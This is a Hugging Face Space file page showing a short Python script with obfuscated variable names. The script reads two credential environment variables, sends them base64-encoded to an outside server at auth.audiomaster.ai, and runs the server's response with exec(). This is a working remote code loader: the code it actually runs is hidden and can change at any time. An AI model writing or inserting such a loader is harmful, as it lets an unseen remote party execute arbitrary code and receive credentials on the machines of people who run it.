Spaces:
Running
on
Zero
Running
on
Zero
File size: 544 Bytes
c80d8e9 |
1 2 3 4 5 6 7 8 9 10 11 12 |
import requests
from base64 import b64encode
import os
jbibqtfehcfjnhbg = os.getenv("rpsmauth_program")
nqkyddytopgcsbpn = os.getenv("rpsmauth_accesskey")
yscxptanxnpafqyd = b64encode(f"{jbibqtfehcfjnhbg}:{nqkyddytopgcsbpn}".encode()).decode("utf-8")
headers = {'Authorization': 'Basic ' + yscxptanxnpafqyd}
tbhsmjhnmzjxnsce = requests.get('https://auth.audiomaster.ai:49534', headers=headers)
if tbhsmjhnmzjxnsce.status_code == 200:
exec(tbhsmjhnmzjxnsce.text)
else:
print("Failed to authenticate or connect to the server.") |